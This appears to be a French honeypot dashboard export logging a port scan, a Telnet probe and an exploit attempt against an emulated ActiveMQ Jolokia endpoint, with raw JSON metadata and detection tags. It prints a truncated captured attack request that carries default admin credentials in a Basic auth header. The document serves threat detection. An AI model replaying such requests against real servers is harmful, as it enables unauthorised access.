1
Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
LFI Double-dot bypass
Ligne de requête
POST /api/jolokia/ HTTP/1.1
User-Agent
Mozilla/5.0
Règles WAF
lfi-14
ssrf-2
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/jolokia/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 212
Host: 62.3.50.33:8161
Content-Type: application/js
Requête brute (extrait)
POST /api/jolokia/ HTTP/1.1 Accept-Encoding: identity Content-Length: 212 Host: 62.3.50.33:8161 Content-Type: application/json Origin: http://62.3.50.33:8161 Connection: close User-Agent: Mozilla/5.0 Authorization: Basic YWRtaW46YWRtaW4= {"type"
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 8,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "82aa6a482bd276cff149740478a603a5fe834840",
"http_host_hash": "66eb19834a7c23530413a6e482ea0316c4442029",
"http_target_hash": "2a44111495e58a342bdfbe6c7704d4d2a61c7ab4",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 461,
"payload_entropy": 5.385462635806404,
"port_category": "registered",
"org": "Nodestop LLC",
"service": "http",
"app_proto": "http",
"asn": 400536,
"country": "US",
"dst_port": 8161,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 4.3,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 77,
"tag_count": 14,
"anomaly_count": 0,
"campaign_key": "76acd9525fd2a74223d3ce4d0f313569f243054d",
"event_fingerprint": "d25d0e5c27488b8322bbfae9b19c64b7c1a33e47",
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "1066b48224bb188ceb955605f4fcff98",
"payload_hash": "9a186b7f3893d03e9a8b8ef631bdd9f5",
"path_pattern_hash": "fbd2c50c91d33f93fedb0bc479b36e4f"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 77
},
"payload_preview": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"evidence": {
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"classification_reason": "Motif SSRF \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7b6d2312abc6797153b3f0e6e4bba1726bac3016",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"classification_reason_label_fr": "Motif SSRF \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 77\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (3 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77,
"correlation_boost": 8
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 77,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +8 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 3,
"multi_protocol_sample": [
"http",
"port:2323",
"telnet"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api",
"http_auth_header_token",
"http_basic_auth",
"http_jwt_body",
"http_probe_api",
"http_ssrf_body",
"net_web_probe"
]
}
|
|
|
TCP |
2323
|
—
|
Scan de ports
port scan syn · port 2323 · (reconnaissance)
|
Élevée
|
Moyen · 42
|
|
Étape
Reconnaissance
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
Protocole
WAF
—
Recommandation
Surveiller
Tags
—
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
2323
Chemin / cible
—
Pourquoi cette classification : Type « port_scan_syn » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +8
Risque capteur
Moyen
· 42
Confiance : Confiance élevée (100 %) — signaux convergents
Signaux
MITRE-T1046
SIGMA-net-port-scan
Beh Multi Port 60S
Tactiques MITRE
TA0043
User-Agent
—
Règles WAF
—
Meta JSON brut
{
"bytes_in": 0,
"payload_entropy": 0,
"port_category": "registered",
"org": "Nodestop LLC",
"service": null,
"app_proto": null,
"asn": 400536,
"country": "US",
"dst_port": 2323,
"risk_waf": 8,
"risk_classification": 64,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 0,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 4.6,
"risk_breakdown": {
"waf": 8,
"classification": 64,
"behavior": 0,
"geo": 0,
"protocol": 0,
"novelty": 0
},
"risk_score": 42,
"tag_count": 0,
"anomaly_count": 0,
"campaign_key": "0a9b74886e486ba4acbe70b57f1ae28f3c04d198",
"event_fingerprint": "8363142c9798ea7690238f7a7bcb010f142371b5",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 231,
"precision_signals": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"kb_rule_ids": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"confidence_breakdown": {
"waf": 8,
"classification": 64,
"behavior": 0,
"geo": 0,
"protocol": 0,
"novelty": 0,
"risk_score": 42,
"correlation_boost": 8
},
"named_classification_skipped": false,
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"path_pattern_hash": "6a708bf69e8680803ad7dadb39e2e4d9"
},
"target_context": {
"dst_port": 2323,
"risk_score": 42
},
"attack_stage": "recon",
"mitre_tactics": [
"TA0043"
],
"mitre_techniques": [
"T1046"
],
"mitre": "T1046",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "59bee7d037e67d3a6bbb977c7430d7e2e1235718",
"protocol_details": {
"port": 2323
},
"attack_vector": "port scan syn \u00b7 port 2323 \u00b7 (reconnaissance)",
"target_port_label": "2323",
"confidence_reason": "Confiance \u00e9lev\u00e9e (100 %) \u2014 signaux convergents",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 42\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 multi-protocole (3 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 8,
"classification": 64,
"behavior": 0,
"geo": 0,
"protocol": 0,
"novelty": 0,
"risk_score": 42,
"correlation_boost": 8
},
"attack_stage": "recon",
"attack_stage_label": "Reconnaissance",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 42,
"risk_label": "Moyen",
"service_name": null,
"service_label_fr": null,
"dst_port": 2323,
"protocol_emulated": null,
"tags_summary": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"tags_summary_labels_fr": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"Beh Multi Port 60S"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "T1046",
"mitre_technique": "T1046",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"port": 2323
},
"attack_vector": "port scan syn \u00b7 port 2323 \u00b7 (reconnaissance)",
"evidence_snippet": null,
"target_port_label": "2323",
"emulator_service": null,
"confidence_reason": "Confiance \u00e9lev\u00e9e (100 %) \u2014 signaux convergents",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": true,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "generic",
"service_banner": "honeypot",
"service_os": "linux",
"dst_port": "2323"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 3,
"multi_protocol_sample": [
"http",
"port:2323",
"telnet"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "reconnaissance",
"matched_patterns": [],
"ban_policy": "advisory_monitor"
}
|
|
|
TCP |
23 · Telnet
|
telnet
|
Sonde Telnet (23/TCP)
port 23 tcp · via Telnet:23 · (sonde / probe)
|
Élevée
|
Moyen · 42
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
TELNET
WAF
—
Recommandation
Surveiller
Tags
net_telnet_probe
telnet_emulated
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
23
Chemin / cible
—
Preuve honeypot — Sonde Telnet (23/TCP)
Connexion détectée sur le port 23 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_23_tcp » (signaux protocolaires) · confiance 55%
Confiance classification
63%
Corrélation +8
Risque capteur
Moyen
· 42
Confiance : Confiance 55 % — Classification nommée non retenue — preuves insuffisantes
Protocole émulé
1
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
User-Agent
—
Règles WAF
—
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "fffb01fffb03fffd180d0a5562756e74752032322e3034204c54530d0a686f6e6579706f74206c6f67696e3a20",
"emulator_response_len": 45,
"port_inferred_service": true,
"bytes_in": 0,
"payload_entropy": 0,
"port_category": "well_known",
"org": "Nodestop LLC",
"service": "telnet",
"app_proto": "telnet",
"asn": 400536,
"country": "US",
"dst_port": 23,
"risk_waf": 8,
"risk_classification": 38,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 36,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 4.4,
"risk_breakdown": {
"waf": 8,
"classification": 38,
"behavior": 0,
"geo": 0,
"protocol": 36,
"novelty": 0
},
"risk_score": 42,
"tag_count": 2,
"anomaly_count": 0,
"campaign_key": "ee98e358747c5d752a0eb3d3b34c59d0ffe7f883",
"event_fingerprint": "79b983d64b1c5573cc70fb9163374500a6810d67",
"classification_reason": "Type \u00ab port_23_tcp \u00bb (signaux protocolaires) \u00b7 confiance 55%",
"confidence": 0.63,
"classification_confidence": 0.63,
"precision_score": 0,
"precision_signals": [],
"kb_rule_ids": [],
"confidence_breakdown": {
"waf": 8,
"classification": 38,
"behavior": 0,
"geo": 0,
"protocol": 36,
"novelty": 0,
"risk_score": 42,
"correlation_boost": 8
},
"named_classification_skipped": true,
"named_candidate": "telnet_probe",
"service_name": "telnet",
"risk_confidence_factor": 55,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"path_pattern_hash": "2bb94c377622e6c9a2e704e9148568af"
},
"target_context": {
"dst_port": 23,
"service": "telnet",
"service_name": "telnet",
"risk_score": 42
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "375a927bb9bbd2eb33edd9b4264c0c0b9afc3f8d",
"protocol_details": {
"port": 23,
"service": "telnet",
"service_label_fr": "Telnet"
},
"attack_vector": "port 23 tcp \u00b7 via Telnet:23 \u00b7 (sonde \/ probe)",
"target_port_label": "23 \u00b7 Telnet",
"emulator_service": "telnet",
"confidence_reason": "Confiance 55 % \u2014 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_23_tcp \u00bb (signaux protocolaires) \u00b7 confiance 55%",
"classification_reason_label_fr": "Type \u00ab port_23_tcp \u00bb (signaux protocolaires) \u00b7 confiance 55%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 42\/100",
"confidence_pct": 63,
"confidence_breakdown": {
"waf": 8,
"classification": 38,
"behavior": 0,
"geo": 0,
"protocol": 36,
"novelty": 0,
"risk_score": 42,
"correlation_boost": 8
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 42,
"risk_label": "Moyen",
"service_name": "telnet",
"service_label_fr": "Telnet",
"dst_port": 23,
"protocol_emulated": true,
"tags_summary": null,
"tags_summary_labels_fr": null,
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-telnet",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"port": 23,
"service": "telnet",
"service_label_fr": "Telnet"
},
"attack_vector": "port 23 tcp \u00b7 via Telnet:23 \u00b7 (sonde \/ probe)",
"evidence_snippet": null,
"target_port_label": "23 \u00b7 Telnet",
"emulator_service": "telnet",
"confidence_reason": "Confiance 55 % \u2014 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes",
"confidence_factors_fr": "Confiance 63 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "telnet",
"service_banner": "honeypot-telnet",
"service_os": "linux",
"dst_port": "23"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"telnet"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"net_telnet_probe",
"telnet_emulated"
]
}
|
|
|
TCP |
8161 · HTTP
|
http
|
Sonde HTTP smuggling
http smuggling probe · via HTTP:8161 · (tentative d'exploit) · → /api/jolokia/
|
Élevée
|
Élevé · 77
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
POST /api/jolokia/ UA Mozilla/5.0
Émulateur
HTTP
WAF
48
Recommandation
Investiguer
Tags
950319:lfi-14
950403:ssrf-2
950406:ssrf-3
950407:ssrf-3
Cible HTTP
POST
/api/jolokia/
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8161
Chemin / cible
/api/jolokia/
Pourquoi cette classification : Motif SSRF · confiance 95%
Confiance classification
95%
Risque capteur
Élevé
· 77
Confiance : Confiance 95 % — Motif catalogue confirmé · 8 tag(s) WAF
Protocole émulé
1
Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
LFI Double-dot bypass
Ligne de requête
POST /api/jolokia/ HTTP/1.1
User-Agent
Mozilla/5.0
Règles WAF
lfi-14
ssrf-2
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/jolokia/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 212
Host: 62.3.50.33:8161
Content-Type: application/js
Requête brute (extrait)
POST /api/jolokia/ HTTP/1.1 Accept-Encoding: identity Content-Length: 212 Host: 62.3.50.33:8161 Content-Type: application/json Origin: http://62.3.50.33:8161 Connection: close User-Agent: Mozilla/5.0 Authorization: Basic YWRtaW46YWRtaW4= {"type"
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 8,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "82aa6a482bd276cff149740478a603a5fe834840",
"http_host_hash": "66eb19834a7c23530413a6e482ea0316c4442029",
"http_target_hash": "2a44111495e58a342bdfbe6c7704d4d2a61c7ab4",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 461,
"payload_entropy": 5.385462635806404,
"port_category": "registered",
"org": "Nodestop LLC",
"service": "http",
"app_proto": "http",
"asn": 400536,
"country": "US",
"dst_port": 8161,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 4.3,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 77,
"tag_count": 14,
"anomaly_count": 0,
"campaign_key": "76acd9525fd2a74223d3ce4d0f313569f243054d",
"event_fingerprint": "d25d0e5c27488b8322bbfae9b19c64b7c1a33e47",
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "1066b48224bb188ceb955605f4fcff98",
"payload_hash": "9a186b7f3893d03e9a8b8ef631bdd9f5",
"path_pattern_hash": "fbd2c50c91d33f93fedb0bc479b36e4f"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 77
},
"payload_preview": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"evidence": {
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
